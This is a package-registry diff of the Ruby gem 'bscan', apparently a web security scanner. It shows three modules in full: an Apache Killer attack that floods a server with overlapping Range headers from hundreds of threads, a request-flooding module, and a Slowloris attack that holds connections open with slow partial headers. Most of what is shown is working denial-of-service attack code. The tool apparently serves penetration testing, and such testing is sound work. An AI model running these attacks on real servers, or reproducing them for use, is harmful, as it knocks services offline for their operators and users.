bscan 1.4.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/CONFIG.rdoc +131 -0
- data/README.rdoc +140 -0
- data/Rakefile +54 -0
- data/VERSION +1 -0
- data/bin/bscan +79 -0
- data/bscan.gemspec +63 -0
- data/lib/bscan.rb +324 -0
- data/lib/bscan/modules/injector.rb +142 -0
- data/lib/bscan/modules/kill_apache.rb +201 -0
- data/lib/bscan/modules/many_threads.rb +52 -0
- data/lib/bscan/modules/slowloris.rb +263 -0
- data/lib/bscan/utils/bscan_helper.rb +133 -0
- data/release_notes.txt +25 -0
- data/samples/config/big_request.txt +12 -0
- data/samples/config/conf +58 -0
- data/samples/config/injector.txt +514 -0
- data/samples/config/request.txt +12 -0
- data/samples/headless-bscan.sh +3 -0
- data/test.sh +3 -0
- data/test/bscan_test.rb +4 -0
- metadata +91 -0
@@ -0,0 +1,201 @@
|
|
1
|
+
require "socket"
|
2
|
+
require "thread"
|
3
|
+
require "openssl"
|
4
|
+
require "timeout"
|
5
|
+
|
6
|
+
require 'bscan/utils/bscan_helper.rb'
|
7
|
+
|
8
|
+
module KillApache
|
9
|
+
def run *args
|
10
|
+
@bscan = args[0]
|
11
|
+
@config ||= @bscan.bscan_config
|
12
|
+
@bscan.activity[0]=true
|
13
|
+
|
14
|
+
@prop_pref = 'bscan.kill_apache.'
|
15
|
+
@prop_pref += args[2] + '.' if args[2] && args[2].length > 0
|
16
|
+
@mid = args[2]?"KillApache.#{args[2]}.":'KillApache.'
|
17
|
+
|
18
|
+
proto = @config[prop('protocol')]
|
19
|
+
proto ||= 'http'
|
20
|
+
|
21
|
+
threads = @config[prop('threads')]
|
22
|
+
threads ||= '500'
|
23
|
+
threads = threads.to_i
|
24
|
+
|
25
|
+
rtf = @config[prop('response_time_factor')]
|
26
|
+
rtf ||= '10'
|
27
|
+
rtf = rtf.to_i
|
28
|
+
rpt = @config[prop('req_per_thread')]
|
29
|
+
rpt ||= '1'
|
30
|
+
rpt = rpt.to_i
|
31
|
+
@rto = @config[prop('read_timeout')]
|
32
|
+
@rto ||= '10'
|
33
|
+
@rto = @rto.to_i
|
34
|
+
ranges = @config[prop('range_nbr')]
|
35
|
+
ranges ||= '500'
|
36
|
+
ranges = ranges.to_i
|
37
|
+
host = @config[prop('hostport')]
|
38
|
+
raise "#{@mid}run parameter #{prop 'hostport'} is missing, exiting" if not host
|
39
|
+
host,port = host.split(':')
|
40
|
+
port = (proto=='http'?80:443) if not port
|
41
|
+
|
42
|
+
req = "HEAD / HTTP/1.1\r\n"+
|
43
|
+
"Host: #{host}:#{port}\r\n"+
|
44
|
+
"Range:bytes=0-@@@\r\n"+
|
45
|
+
"Accept-Encoding: gzip\r\n"+
|
46
|
+
"Connection: close\r\n\r\n"
|
47
|
+
|
48
|
+
nreq = req.sub /Range:bytes=@@@\r\n/, ""
|
49
|
+
inj = ''
|
50
|
+
start = 5
|
51
|
+
|
52
|
+
ranges.times do |t|
|
53
|
+
inj += ",#{start}-#{t}"
|
54
|
+
end
|
55
|
+
req.sub!(/@@@/,inj)
|
56
|
+
|
57
|
+
@bscan.Log 2, "#{@mid}run input: #{threads} #{rpt} #{rtf} #{host} #{port}\n#{req}"
|
58
|
+
|
59
|
+
@threadinfo = {}
|
60
|
+
threads.times do |t|
|
61
|
+
@threadinfo[t] = {}
|
62
|
+
for con in 0..rpt-1
|
63
|
+
@threadinfo[t][con]=nil # need to add keys if they are not there yet
|
64
|
+
end
|
65
|
+
end
|
66
|
+
|
67
|
+
trg,host,port = get_url_host_port req,proto
|
68
|
+
|
69
|
+
@infom ||= Mutex.new
|
70
|
+
|
71
|
+
rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
|
72
|
+
|
73
|
+
@bscan.Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
|
74
|
+
|
75
|
+
# Monitoring thread
|
76
|
+
Thread.new do
|
77
|
+
maxtime=0
|
78
|
+
while (true)
|
79
|
+
begin
|
80
|
+
sleep 2.5
|
81
|
+
rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
|
82
|
+
@bscan.Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
|
83
|
+
maxtime = rt if rt > nrt*rtf && rt > maxtime
|
84
|
+
ex = true
|
85
|
+
tnum = 0
|
86
|
+
cnum = 0
|
87
|
+
@threadinfo.each_pair do |t,c|
|
88
|
+
inc_t = false
|
89
|
+
if c
|
90
|
+
c.each_key do |k|
|
91
|
+
if c[k] == 1
|
92
|
+
cnum += 1
|
93
|
+
inc_t = true
|
94
|
+
ex = false
|
95
|
+
end
|
96
|
+
end
|
97
|
+
end
|
98
|
+
tnum += 1 if inc_t
|
99
|
+
end
|
100
|
+
@bscan.Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep 5 sec"
|
101
|
+
break if ex
|
102
|
+
rescue Exception => e
|
103
|
+
@bscan.Log 1, "#{@mid}run Exception: #{e.message}"
|
104
|
+
@bscan.Log 1, e.backtrace.join("\n")
|
105
|
+
end
|
106
|
+
end
|
107
|
+
@bscan.Log 1, "#{@mid}run exiting monitor: #{maxtime}"
|
108
|
+
if maxtime > 0
|
109
|
+
issue = Issue.new "#{@mid.chop}: Apache Killer succeeded", trg, "Medium", "Firm", req, rsp,
|
110
|
+
"Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
|
111
|
+
@bscan.write_issue_state issue
|
112
|
+
end
|
113
|
+
end
|
114
|
+
|
115
|
+
threads.times do |t|
|
116
|
+
Thread.new do
|
117
|
+
begin
|
118
|
+
@bscan.Log 2, "#{@mid}run thread: #{t} #{rpt}"
|
119
|
+
for con in 0..rpt-1
|
120
|
+
send_get_rsp host,port,req,proto,t,con
|
121
|
+
end
|
122
|
+
rescue Exception => e
|
123
|
+
@bscan.Log 1, "#{@mid}run Exception: #{e.message}"
|
124
|
+
@bscan.Log 1, e.backtrace.join("\n")
|
125
|
+
Thread.current.exit
|
126
|
+
end
|
127
|
+
end
|
128
|
+
end
|
129
|
+
end
|
130
|
+
|
131
|
+
def send_get_rsp host,port,req,proto,t,c
|
132
|
+
@bscan.activity[0]=true
|
133
|
+
@threadinfo[t][c] = 1
|
134
|
+
rsp =''
|
135
|
+
s=nil
|
136
|
+
begin
|
137
|
+
timeout(@rto) do
|
138
|
+
s = TCPSocket.new(host, port)
|
139
|
+
if (proto =~ /https/i)
|
140
|
+
ctx = OpenSSL::SSL::SSLContext.new
|
141
|
+
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
142
|
+
s = OpenSSL::SSL::SSLSocket.new(s, ctx)
|
143
|
+
s.connect
|
144
|
+
end
|
145
|
+
l = s.syswrite(req)
|
146
|
+
raise "only #{l} bytes out of #{req.length} written #{t} #{req}" if l != req.length
|
147
|
+
rsp = read_response s
|
148
|
+
@bscan.Log 2, "#{@mid}send_get_rsp succeeded for #{t} #{rsp}"
|
149
|
+
end
|
150
|
+
rescue Exception => e
|
151
|
+
@bscan.Log 1, "#{@mid}send_get_rsp failed for #{t} Exception: #{e.message}"
|
152
|
+
@bscan.Log 1, e.backtrace.join("\n")
|
153
|
+
@threadinfo[t][c] = nil
|
154
|
+
end
|
155
|
+
|
156
|
+
begin
|
157
|
+
s.close if s
|
158
|
+
rescue Exception => e
|
159
|
+
@bscan.Log 1, "#{@mid}send_get_rsp close for #{t} Exception: #{e.message}"
|
160
|
+
end
|
161
|
+
@threadinfo[t][c] = 0
|
162
|
+
|
163
|
+
rsp
|
164
|
+
end
|
165
|
+
|
166
|
+
|
167
|
+
def get_normal_response_time host,port,req,proto,t
|
168
|
+
@threadinfo[t] ||= {}
|
169
|
+
rsp = ''
|
170
|
+
start = Time.now
|
171
|
+
@bscan.activity[0]=true
|
172
|
+
begin
|
173
|
+
rsp = send_get_rsp host,port,req,proto,t,0
|
174
|
+
rescue Exception => e
|
175
|
+
@bscan.Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
|
176
|
+
end
|
177
|
+
[rsp,Time.now - start]
|
178
|
+
end
|
179
|
+
|
180
|
+
def read_response s
|
181
|
+
rsp=''
|
182
|
+
begin
|
183
|
+
while (ch=s.sysread(1))
|
184
|
+
rsp += ch
|
185
|
+
if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i
|
186
|
+
len = $1.to_i
|
187
|
+
while (c=s.sysread(1))
|
188
|
+
rsp += c
|
189
|
+
if rsp[-4..-1] == "\r\n\r\n" || rsp[-2..-1] == "\n\n"
|
190
|
+
rsp += s.sysread(len)
|
191
|
+
break
|
192
|
+
end
|
193
|
+
end
|
194
|
+
break
|
195
|
+
end
|
196
|
+
end
|
197
|
+
rescue EOFError
|
198
|
+
end
|
199
|
+
rsp
|
200
|
+
end
|
201
|
+
end
|
@@ -0,0 +1,52 @@
|
|
1
|
+
require 'bscan/utils/bscan_helper.rb'
|
2
|
+
|
3
|
+
module ManyThreads
|
4
|
+
|
5
|
+
def run *args
|
6
|
+
@bscan = args[0]
|
7
|
+
@config ||= @bscan.bscan_config
|
8
|
+
|
9
|
+
@bscan.activity[0]=true
|
10
|
+
|
11
|
+
@prop_pref = 'bscan.many_threads.'
|
12
|
+
@prop_pref += args[2] + '.' if args[2] && args[2].length > 0
|
13
|
+
@mid = args[2]?"ManyThreads.#{args[2]}.":'ManyThreads.'
|
14
|
+
|
15
|
+
param = @config[prop('request')]
|
16
|
+
a=[]
|
17
|
+
if (not param or (a=param.split(':',3)).size < 2)
|
18
|
+
@bscan.Log 0, "#{@mid}run: 'request' parameter is not valid #{param}, it should be 'request.txt:protocol[:repeater]'"
|
19
|
+
return
|
20
|
+
end
|
21
|
+
threads = @config[prop('threads')]
|
22
|
+
threads ||= '10'
|
23
|
+
@bscan.Log 2, "#{@mid}run input: #{a.join('|')} #{threads}"
|
24
|
+
|
25
|
+
threads = threads.to_i
|
26
|
+
|
27
|
+
begin
|
28
|
+
f,proto,rep = a
|
29
|
+
|
30
|
+
file = open_in_path(f)
|
31
|
+
req = file.read
|
32
|
+
req.gsub!(/\^M\n/,"\r\n")
|
33
|
+
if (rep)
|
34
|
+
rep = Regexp.escape(rep)
|
35
|
+
req.gsub!(/#{rep}(.+?)#{rep}(\d+)/) {|m| $1*$2.to_i}
|
36
|
+
end
|
37
|
+
|
38
|
+
set_len req
|
39
|
+
|
40
|
+
file.close
|
41
|
+
threads.times do
|
42
|
+
Thread.new() {
|
43
|
+
@bscan.activity[0]=true
|
44
|
+
send_req req, proto, ''
|
45
|
+
}
|
46
|
+
end
|
47
|
+
rescue Exception => e
|
48
|
+
@bscan.Log 0, "#{@mid}run Exception: #{e.message}"
|
49
|
+
@bscan.Log 0, e.backtrace.join("\n")
|
50
|
+
end
|
51
|
+
end
|
52
|
+
end
|
@@ -0,0 +1,263 @@
|
|
1
|
+
require "socket"
|
2
|
+
require "thread"
|
3
|
+
require "openssl"
|
4
|
+
|
5
|
+
require 'bscan/utils/bscan_helper.rb'
|
6
|
+
|
7
|
+
module Slowloris
|
8
|
+
def run *args
|
9
|
+
@bscan = args[0]
|
10
|
+
@config ||= @bscan.bscan_config
|
11
|
+
@bscan.activity[0]=true
|
12
|
+
|
13
|
+
@prop_pref = 'bscan.slowloris.'
|
14
|
+
@prop_pref += args[2] + '.' if args[2] && args[2].length > 0
|
15
|
+
@mid = args[2]?"Slowloris.#{args[2]}.":'Slowloris.'
|
16
|
+
begin
|
17
|
+
proto = @config[prop('protocol')]
|
18
|
+
proto ||= 'http'
|
19
|
+
|
20
|
+
threads = @config[prop('threads')]
|
21
|
+
threads ||= '20'
|
22
|
+
threads = threads.to_i
|
23
|
+
|
24
|
+
rtf = @config[prop('response_time_factor')]
|
25
|
+
rtf ||= '5'
|
26
|
+
rtf = rtf.to_i
|
27
|
+
slt = @config[prop('sleep_time')]
|
28
|
+
slt ||= '100'
|
29
|
+
slt = slt.to_i
|
30
|
+
cn = @config[prop('con_nbr_per_thread')]
|
31
|
+
cn ||= 50
|
32
|
+
cn = cn.to_i
|
33
|
+
ppc = @config[prop('pack_per_con')]
|
34
|
+
ppc ||= 5
|
35
|
+
ppc = ppc.to_i
|
36
|
+
|
37
|
+
http_method = @config[prop('method')]
|
38
|
+
http_method ||= 'GET'
|
39
|
+
|
40
|
+
req = @config[prop('request')]
|
41
|
+
nreq = nil
|
42
|
+
if req
|
43
|
+
file = open_in_path(req)
|
44
|
+
r = file.read
|
45
|
+
req.gsub!(/\^M\n/,"\r\n")
|
46
|
+
file.close
|
47
|
+
nreq = req
|
48
|
+
else
|
49
|
+
host = @config[prop('hostport')]
|
50
|
+
host,port = host.split(':') if host
|
51
|
+
raise "Either 'host' and 'port' or 'request' params must be set" if !host or !port
|
52
|
+
req = "#{http_method} /@@@ HTTP/1.1\r\n" +
|
53
|
+
"Host: #{host}:#{port}\r\n" +
|
54
|
+
"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1"
|
55
|
+
if http_method == 'POST'
|
56
|
+
req += "\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 7\r\n"
|
57
|
+
nreq = req + "\r\nfoo=moo"
|
58
|
+
else
|
59
|
+
nreq = req + "\r\n\r\n"
|
60
|
+
end
|
61
|
+
end
|
62
|
+
|
63
|
+
|
64
|
+
@bscan.Log 2, "#{@mid}run input: #{threads} #{cn} #{ppc} #{rtf} #{slt} #{host} #{port}\n#{req}"
|
65
|
+
# rsp,nrt = get_normal_response_time nreq,proto
|
66
|
+
@threadinfo = {}
|
67
|
+
trg,host,port = get_url_host_port req,proto
|
68
|
+
|
69
|
+
@infom ||= Mutex.new
|
70
|
+
|
71
|
+
rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
|
72
|
+
@bscan.Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
|
73
|
+
|
74
|
+
# Monitoring thread
|
75
|
+
Thread.new do
|
76
|
+
maxtime=0
|
77
|
+
while (true)
|
78
|
+
begin
|
79
|
+
dl = slt/10
|
80
|
+
sleep dl < 10 ? 10 : dl
|
81
|
+
rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
|
82
|
+
@bscan.Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
|
83
|
+
maxtime = rt if rt > nrt*rtf && rt > maxtime
|
84
|
+
ex = true
|
85
|
+
tnum = 0
|
86
|
+
cnum = 0
|
87
|
+
@threadinfo.each_pair do |t,c|
|
88
|
+
inc_t = false
|
89
|
+
c.each_key do |k|
|
90
|
+
if c[k]
|
91
|
+
cnum += 1
|
92
|
+
inc_t = true
|
93
|
+
ex = false
|
94
|
+
end
|
95
|
+
end
|
96
|
+
tnum += 1 if inc_t
|
97
|
+
end
|
98
|
+
@bscan.Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep #{slt/4} sec"
|
99
|
+
break if ex
|
100
|
+
rescue Exception => e
|
101
|
+
@bscan.Log 1, "#{@mid}run Exception: #{e.message}"
|
102
|
+
@bscan.Log 1, e.backtrace.join("\n")
|
103
|
+
end
|
104
|
+
end
|
105
|
+
@bscan.Log 1, "#{@mid}run exiting monitor: #{maxtime}"
|
106
|
+
if maxtime > 0
|
107
|
+
issue = Issue.new "#{@mid.chop}: Slowloris succeeded", trg, "Medium", "Firm", req, rsp,
|
108
|
+
"Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
|
109
|
+
@bscan.write_issue_state issue
|
110
|
+
end
|
111
|
+
end
|
112
|
+
|
113
|
+
|
114
|
+
|
115
|
+
|
116
|
+
|
117
|
+
threads.times do |t|
|
118
|
+
|
119
|
+
@infom.lock
|
120
|
+
@threadinfo[t] = {}
|
121
|
+
@infom.unlock
|
122
|
+
|
123
|
+
for con in 0..cn-1
|
124
|
+
@infom.lock
|
125
|
+
@threadinfo[t][con]=nil if not @threadinfo[t][con] # need to add keys if they are not there yet
|
126
|
+
@infom.unlock
|
127
|
+
end
|
128
|
+
|
129
|
+
Thread.new do
|
130
|
+
begin
|
131
|
+
@bscan.Log 2, "#{@mid}run thread: #{t} #{cn}"
|
132
|
+
make_conns cn,host,port,req,proto,t
|
133
|
+
for pcnt in 0..ppc-1
|
134
|
+
@bscan.Log 2, "#{@mid}run after sleep: #{t} #{cn}"
|
135
|
+
for con in 0..cn-1
|
136
|
+
send_more host,port,proto,t,con
|
137
|
+
end
|
138
|
+
sleep slt
|
139
|
+
end
|
140
|
+
raise Exception => e
|
141
|
+
@bscan.Log 1, "#{@mid}run Exception: #{e.message}"
|
142
|
+
@bscan.Log 1, e.backtrace.join("\n")
|
143
|
+
Thread.current.exit
|
144
|
+
end
|
145
|
+
end
|
146
|
+
end
|
147
|
+
close_all
|
148
|
+
|
149
|
+
|
150
|
+
rescue Exception => e
|
151
|
+
@bscan.Log 0, "#{@mid}run Exception: #{e.message}"
|
152
|
+
@bscan.Log 0, e.backtrace.join("\n")
|
153
|
+
end
|
154
|
+
end
|
155
|
+
def update_info t,con,val
|
156
|
+
@infom.lock
|
157
|
+
@threadinfo[t][con] = val if @threadinfo[t]
|
158
|
+
@infom.unlock
|
159
|
+
end
|
160
|
+
def close_all
|
161
|
+
@threadinfo.each_pair do |k,v|
|
162
|
+
v.each_key do |i|
|
163
|
+
begin
|
164
|
+
v[i].close if v[i]
|
165
|
+
update_info k,i,nil
|
166
|
+
rescue
|
167
|
+
end
|
168
|
+
end
|
169
|
+
end
|
170
|
+
end
|
171
|
+
|
172
|
+
def make_conns nbr,host,port,req,proto,t
|
173
|
+
@bscan.Log 2, "#{@mid}make_conns: #{t} #{nbr}"
|
174
|
+
nbr.times do |con|
|
175
|
+
@bscan.Log 2, "#{@mid}make_conns connection: #{t} #{con}"
|
176
|
+
send_slow host,port,req,proto,t,con
|
177
|
+
end
|
178
|
+
end
|
179
|
+
|
180
|
+
def send_more host,port,proto,t,con
|
181
|
+
send_slow host,port,"Connection: Keep-Alive\r\n",proto,t,con,false
|
182
|
+
end
|
183
|
+
|
184
|
+
def send_slow host,port,req,proto,t,con,reopen=true
|
185
|
+
@bscan.activity[0]=true
|
186
|
+
begin
|
187
|
+
s = @threadinfo[t][con]
|
188
|
+
rndr = random_url(req)
|
189
|
+
|
190
|
+
if !s || s.closed? || s.syswrite(rndr) != rndr.length
|
191
|
+
s.close if s && !s.closed?
|
192
|
+
raise "can't send more, connection closed #{host} #{port} #{t} #{con}" if not reopen
|
193
|
+
|
194
|
+
@bscan.Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con}"
|
195
|
+
s = TCPSocket.new(host, port)
|
196
|
+
if (proto =~ /https/i)
|
197
|
+
ctx = OpenSSL::SSL::SSLContext.new
|
198
|
+
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
199
|
+
s = OpenSSL::SSL::SSLSocket.new(s, ctx)
|
200
|
+
s.connect
|
201
|
+
end
|
202
|
+
update_info t,con,s
|
203
|
+
end
|
204
|
+
s.syswrite(rndr)
|
205
|
+
@bscan.Log 2, "#{@mid}send_slow succeeded for #{t} #{con} #{rndr}"
|
206
|
+
@bscan.Log 2, "#{@mid}send_slow send_more #{t} #{con}" if !reopen
|
207
|
+
rescue Exception => e
|
208
|
+
@bscan.Log 1, "#{@mid}send_slow failed for #{t} #{con}: #{e.message}"
|
209
|
+
begin
|
210
|
+
s.close
|
211
|
+
rescue
|
212
|
+
end
|
213
|
+
update_info t,con,nil
|
214
|
+
end
|
215
|
+
end
|
216
|
+
|
217
|
+
def random_url req
|
218
|
+
req.sub /^(POST|GET)\s+\/@@@/, "\\1 /#{'u'+rand(1000000).to_s}"
|
219
|
+
end
|
220
|
+
|
221
|
+
def get_normal_response_time host,port,req,proto,t
|
222
|
+
@threadinfo[t] ||= {}
|
223
|
+
rsp = ''
|
224
|
+
start = Time.now
|
225
|
+
@bscan.activity[0]=true
|
226
|
+
req = random_url req
|
227
|
+
begin
|
228
|
+
send_slow host,port,req,proto,t,0
|
229
|
+
s = @threadinfo[t][0]
|
230
|
+
if !s
|
231
|
+
raise "read failed for: #{req}"
|
232
|
+
end
|
233
|
+
rsp = read_response s
|
234
|
+
rescue Exception => e
|
235
|
+
@bscan.Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
|
236
|
+
end
|
237
|
+
begin
|
238
|
+
s.close
|
239
|
+
rescue
|
240
|
+
end
|
241
|
+
update_info t,0,nil
|
242
|
+
[rsp,Time.now - start]
|
243
|
+
end
|
244
|
+
|
245
|
+
def read_response s
|
246
|
+
rsp=''
|
247
|
+
while (ch=s.sysread(1))
|
248
|
+
rsp += ch
|
249
|
+
if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i
|
250
|
+
len = $1.to_i
|
251
|
+
while (c=s.sysread(1))
|
252
|
+
rsp += c
|
253
|
+
if rsp[-4..-1] == "\r\n\r\n" || rsp[-2..-1] == "\n\n"
|
254
|
+
rsp += s.sysread(len)
|
255
|
+
break
|
256
|
+
end
|
257
|
+
end
|
258
|
+
break
|
259
|
+
end
|
260
|
+
end
|
261
|
+
rsp
|
262
|
+
end
|
263
|
+
end
|